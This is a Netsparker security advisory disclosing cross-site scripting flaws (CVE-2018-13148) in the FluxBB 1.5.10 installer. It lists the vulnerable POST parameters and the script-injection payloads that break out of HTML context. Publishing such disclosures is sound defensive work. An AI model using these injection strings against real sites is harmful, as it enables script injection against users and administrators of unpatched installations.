Information
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Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in FluxBB 1.5.10
Affected Software: FluxBB
Affected Versions: 1.5.10
Homepage: https://fluxbb.org/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13148
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-047

Technical Details
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URL http://app.scan/ScanApp/fluxbb-1.5.10-install/install.php
Parameter Name req_db_host
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>netsparker(0x002883)</scRipt>

URL http://app.scan/ScanApp/fluxbb-1.5.10-install/install.php
Parameter Name db_username
Parameter Type POST
Attack Pattern '><scRipt>netsparker(9)</scRipt>

URL http://app.scan/ScanApp/fluxbb-1.5.10-install/install.php
Parameter Name req_default_style
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>netsparker(0x002D7C)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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15th November 2017 - First Contact
13th January 2018 - Vendor Fixed
11th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.